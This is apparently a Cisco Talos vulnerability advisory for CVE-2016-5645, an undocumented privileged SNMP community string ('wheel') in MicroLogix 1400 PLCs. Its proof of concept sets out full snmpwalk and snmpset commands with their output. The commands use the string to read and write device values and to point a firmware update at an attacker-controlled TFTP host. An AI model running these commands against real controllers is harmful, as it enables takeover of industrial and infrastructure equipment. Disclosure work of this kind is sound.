CVE-2016-5645
An exploitable Use of Hard-coded Credentials (Undocumented Community String) vulnerability exists in the SNMP functionality of Allen-Bradley Rockwell Automation MicroLogix 1400 Programmable Logic Controller (PLC) Systems. At the most basic level, knowledge of the undocumented community string allows an attacker to read all values accessible via SNMP. In addition to read permissions, the ‘wheel’ community has the same write privileges as the ‘private’ community and can modify all writable SNMP OIDs. An attacker can leverage this vulnerability to remotely modify the device firmware, allowing the attacker to run his own malicious code on the device.
Allen-Bradley Rockwell Automation MicroLogix 1400 Programmable Logic Controller Systems versions 7 - 15.004
http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400
7.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Allen-Bradley MicroLogix 1400 Programmable Logic Controllers are configured with an undocumented and privileged SNMP community string which enables malicious actors to take complete control of all affected devices. According the Allen-Bradley, MicroLogix 1400 PLCs are intended for use in: “General Industrial Machinery (Material Handling, Packaging, Assembly, etc), HVAC / Building Automation, SCADA (Oil and Gas, Water/Wastewater, and Electrical Power), Food and Beverage, Pharmaceutical, Commercial Machinery (Vending, Industrial Washers and Dryers, etc)”.
In addition to the default, documented SNMP community strings of ‘public’ (read) and ‘private’ (read/write), an undocumented community string of ‘wheel’ (read/write) exists which enables attackers to make unauthorized changes to the devices, such as modification of settings and even conducting malicious firmware updates. It is possible this community string allows access to other untested OIDs, but that has not been tested at this time.
At the most basic level, knowledge of the undocumented community string allows an attacker to read all values accessible via SNMP. The below shows walking Allen Bradley’s MIB using the public, private, and wheel community strings. Note that the ‘public’ string is denied access but the ‘private’ and ‘wheel’ community strings both return the same results, indicating that ‘wheel’ provided privileged access.
root@kali:~# snmpwalk -c public -v 2c 192.168.42.11 .1.3.6.1.4.1.95
Error in packet.
Reason: authorizationError (access denied to that object)
root@kali:~# snmpwalk -c private -v 2c 192.168.42.11 .1.3.6.1.4.1.95
iso.3.6.1.4.1.95.2.2.1.1.1.0 = IpAddress: 0.0.0.0
iso.3.6.1.4.1.95.2.2.1.1.2.0 = ""
iso.3.6.1.4.1.95.2.2.1.1.3.0 = Hex-STRING: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.4.0 = Hex-STRING: 00 00 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.5.0 = Hex-STRING: 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.6.0 = INTEGER: 0
iso.3.6.1.4.1.95.2.2.1.1.7.0 = INTEGER: 0
iso.3.6.1.4.1.95.2.2.2.3.0 = INTEGER: 4
iso.3.6.1.4.1.95.2.3.1.1.1.1.0 = INTEGER: 1
iso.3.6.1.4.1.95.2.3.1.1.1.2.0 = INTEGER: 1
iso.3.6.1.4.1.95.2.3.1.1.1.3.0 = STRING: "public"
iso.3.6.1.4.1.95.2.3.1.1.1.4.0 = IpAddress: 0.0.0.0
iso.3.6.1.4.1.95.2.4.1.0 = STRING: "wheel"
iso.3.6.1.4.1.95.2.4.2.0 = STRING: "public"
iso.3.6.1.4.1.95.2.4.3.0 = STRING: "private"
End of MIB
root@kali:~# snmpwalk -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95
iso.3.6.1.4.1.95.2.2.1.1.1.0 = IpAddress: 0.0.0.0
iso.3.6.1.4.1.95.2.2.1.1.2.0 = ""
iso.3.6.1.4.1.95.2.2.1.1.3.0 = Hex-STRING: 00 00 00 00 00 00 00 00 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.4.0 = Hex-STRING: 00 00 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.5.0 = Hex-STRING: 00 00 00 00 00 00
iso.3.6.1.4.1.95.2.2.1.1.6.0 = INTEGER: 0
iso.3.6.1.4.1.95.2.2.1.1.7.0 = INTEGER: 0
iso.3.6.1.4.1.95.2.2.2.3.0 = INTEGER: 4
iso.3.6.1.4.1.95.2.3.1.1.1.1.0 = INTEGER: 1
iso.3.6.1.4.1.95.2.3.1.1.1.2.0 = INTEGER: 1
iso.3.6.1.4.1.95.2.3.1.1.1.3.0 = STRING: "public"
iso.3.6.1.4.1.95.2.3.1.1.1.4.0 = IpAddress: 0.0.0.0
iso.3.6.1.4.1.95.2.4.1.0 = STRING: "wheel"
iso.3.6.1.4.1.95.2.4.2.0 = STRING: "public"
iso.3.6.1.4.1.95.2.4.3.0 = STRING: "private"
End of MIB
In addition to read permissions, the ‘wheel’ community has the same write privileges as the ‘private’ community. The below demonstrates reading and writing to the SysContact OID. Both the ‘private’ and ‘wheel’ community strings are authorized to write to this field.
root@kali:~# snmpget -c public -v 2c 192.168.42.11 .1.3.6.1.2.1.1.4.0
iso.3.6.1.2.1.1.4.0 = ""
root@kali:~# snmpset -c private -v 2c 192.168.42.11 .1.3.6.1.2.1.1.4.0 s "authorized"
iso.3.6.1.2.1.1.4.0 = STRING: "authorized"
root@kali:~# snmpget -c public -v 2c 192.168.42.11 .1.3.6.1.2.1.1.4.0
iso.3.6.1.2.1.1.4.0 = STRING: "authorized"
root@kali:~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.2.1.1.4.0 s "hacker"
iso.3.6.1.2.1.1.4.0 = STRING: "hacker"
root@kali:~# snmpget -c public -v 2c 192.168.42.11 .1.3.6.1.2.1.1.4.0
iso.3.6.1.2.1.1.4.0 = STRING: "hacker"
To demonstrate the risk associated with this undocumented privileged access, the below walks through the process of using the ‘wheel’ community string to upload a malicious firmware file. The entirety of the attack is conducted using the free and open source applications from the Net-SNMP project (http://net-snmp.sourceforge.net/wiki/index.php/TUT:snmpwalk).
root@kali:~# snmpget -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.1.0
iso.3.6.1.4.1.95.2.2.1.1.1.0 = IpAddress: 0.0.0.0
root@kali:~# snmpget -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.2.0
iso.3.6.1.4.1.95.2.2.1.1.2.0 = ""
root@kali:~# snmpget -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.3.1.1.1.1.0
iso.3.6.1.4.1.95.2.3.1.1.1.1.0 = INTEGER: 1
Get Initial/default value of IP address of firmware: 0.0.0.0 Initial/default value of filename of firmware: “” (empty) Initial/default value of firmware update flag:
root@kali:~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.1.0 a 192.168.42.200
iso.3.6.1.4.1.95.2.2.1.1.1.0 = IpAddress: 192.168.42.200
root@kali:~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.2.0 s "hacked_firmware.bin"
iso.3.6.1.4.1.95.2.2.1.1.2.0 = STRING: "hacked_firmware.bin"
Set Value of IP address of firmware: 192.168.42.200 (attacker) Value of filename of firmware: “hacked_firmware.bin”
root@kali:~# snmpget -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.1.0
iso.3.6.1.4.1.95.2.2.1.1.1.0 = IpAddress: 192.168.42.200
root@kali:~# snmpget -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.2.1.1.2.0
iso.3.6.1.4.1.95.2.2.1.1.2.0 = STRING: "hacked_firmware.bin"
Confirm Read value of IP address of firmware: 192.168.42.200 Read value of filename of firmware: “hacked_firmware.bin”
root@kali:~# snmpset -c wheel -v 2c 192.168.42.11 .1.3.6.1.4.1.95.2.3.1.1.1.1.0 i 2
iso.3.6.1.4.1.95.2.3.1.1.1.1.0 = INTEGER: 2
Execute firmware updates Setting OID 1.3.6.1.4.1.95.2.3.1.1.1.1.0 to a value of ‘2’ triggers the firmware update process. The PLC attempts to initiate a TFTP file transfer and retrieve the file specified at the IP address of the attacker.
The unencrypted nature of SNMPv1 and v2c communications presents risk from attackers who are able to sniff traffic and capture community strings in transit. The risk of using the plain text protocol would be substantially mitigated by the necessity for an attacker to be in a position to capture traffic to/from the target device (assuming asset owners have changed the default community string values). However, the presence of an undocumented community string significantly increases the risk of attack since attackers no longer need to sniff a valid community string from network traffic.
The ability to change the community string, it is not ‘hard-coded’, slightly reduces the risk of its use by a malicious actor. However, the undocumented nature of the string leaves asset owners ignorant of its presence and therefore unlikely to change it from the default value.
2016-06-10 - Vendor Disclosure
2016-08-11 - Public Release
Discovered by Patrick DeSantis of Cisco Talos.